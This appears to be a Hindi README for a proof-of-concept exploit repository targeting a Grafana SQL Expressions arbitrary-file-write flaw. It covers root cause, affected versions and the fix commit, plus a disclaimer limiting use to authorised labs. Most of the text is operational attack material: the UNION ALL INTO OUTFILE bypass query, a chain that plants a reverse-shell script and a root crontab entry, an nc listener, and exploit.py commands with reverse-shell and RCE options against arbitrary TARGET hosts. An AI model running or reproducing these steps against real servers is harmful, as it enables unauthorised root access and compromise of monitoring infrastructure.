
Grafana SQL एक्सप्रेशन्स आर्बिट्ररी फ़ाइल राइट टू RCE
CVSS 9.1 क्रिटिकल | आर्बिट्ररी फ़ाइल राइट | रिमोट कोड एक्ज़ीक्यूशन
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
Grafana की SQL एक्सप्रेशन्स सुविधा (sqlExpressions टॉगल) एक इन-प्रोसेस SQL इंजन (dolthub/go-mysql-server) का उपयोग करती है जिसमें एक त्रुटिपूर्ण AST अनुमतिसूची (allowlist) है। SetOp नोड (UNION ALL) वैलिडेशन पास करता है और इसका walkSubtree() Into चाइल्ड को ट्रैवर्स नहीं करता — जिससे INTO OUTFILE Grafana प्रोसेस उपयोगकर्ता के रूप में सर्वर फ़ाइलसिस्टम पर आर्बिट्ररी फ़ाइलें लिख सकता है।
कोई भी प्रमाणित उपयोगकर्ता (Viewer भूमिका या उच्चतर) इसे क्रोन-आधारित रिवर्स शेल के माध्यम से पूर्ण RCE में बदल सकता है।
| रेंज | प्रभावित | फिक्स्ड |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
sqlExpressions फ़ीचर टॉगल सक्षम होना आवश्यक है।
pkg/expr/sql/ में दो संयुक्त दोष:
parser_allow.go: allowedNode() एक नामित रिटर्न b = true का उपयोग करता है। *sqlparser.SetOp केस true (अनुमत) लौटाता है, और SetOp.walkSubtree() Into चाइल्ड नोड को ट्रैवर्स नहीं करता। इसका मतलब है कि UNION ALL ... INTO OUTFILE अनुमतिसूची को पूरी तरह से बायपास कर देता है।
db.go: SQL इंजन कॉन्टेक्स्ट WithDisableFileWrites(true) के बिना बनाया गया है, इसलिए INTO OUTFILE डिस्क पर लिखता है।
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
एक अकेला (SELECT ...) INTO OUTFILE एक ParenSelect नोड उत्पन्न करता है जो ब्लॉक किया जाता है। UNION ALL से जुड़े दो या अधिक SELECT भाग एक SetOp नोड उत्पन्न करते हैं जो जाँच को बायपास करता है।
1. प्रमाणीकरण (Viewer भूमिका पर्याप्त है)
2. __expr__ डेटासोर्स, type "sql" के साथ POST /api/ds/query
3. UNION ALL INTO OUTFILE /tmp/ में रिवर्स शेल स्क्रिप्ट लिखता है
4. दूसरी राइट /etc/crontabs/root में क्रोन एंट्री रखती है
5. क्रोन 60 सेकंड के भीतर फायर करता है -> रूट के रूप में रिवर्स शेल
cd lab/
docker compose up -d
# Grafana के स्वस्थ होने की प्रतीक्षा करें (~15s)
Grafana http://localhost:3333 पर admin:admin क्रेडेंशियल्स के साथ चलता है।
टर्मिनल 1 — लिसनर:
nc -lvnp 4444
टर्मिनल 2 — एक्सप्लॉइट:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
रिवर्स शेल 60 सेकंड के भीतर आ जाता है।
# जाँचें कि टार्गेट असुरक्षित है या नहीं (कोई राइट नहीं)
python3 exploit.py -t http://TARGET:3000 --check
# आर्बिट्ररी फ़ाइल लिखें
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# स्थानीय फ़ाइल को टार्गेट पर लिखें
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# डेटासोर्स प्रोविज़निंग के माध्यम से RCE (क्रोन की आवश्यकता नहीं)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
पिछले रन के बाद एक्सप्लॉइट को दोबारा चलाने के लिए, पहले सफाई करें — INTO OUTFILE मौजूदा फ़ाइलों को ओवरराइट नहीं कर सकता।
कमिट 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # पूर्ण मूल कारण विश्लेषण
├── lab/
│ ├── docker-compose.yml # Grafana 12.4.0 लैब (पुष्टि की गई)
│ ├── Dockerfile # क्रोन समर्थन के साथ कस्टम इमेज
│ ├── entrypoint.sh # crond + Grafana शुरू करता है
│ └── setup.sh # ऑटो-सेटअप स्क्रिप्ट
└── poc/
├── exploit.py # RCE के साथ पूर्ण PoC
└── cvss-justification.md
केवल अधिकृत सुरक्षा अनुसंधान और नियंत्रित लैब परीक्षण के लिए। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें।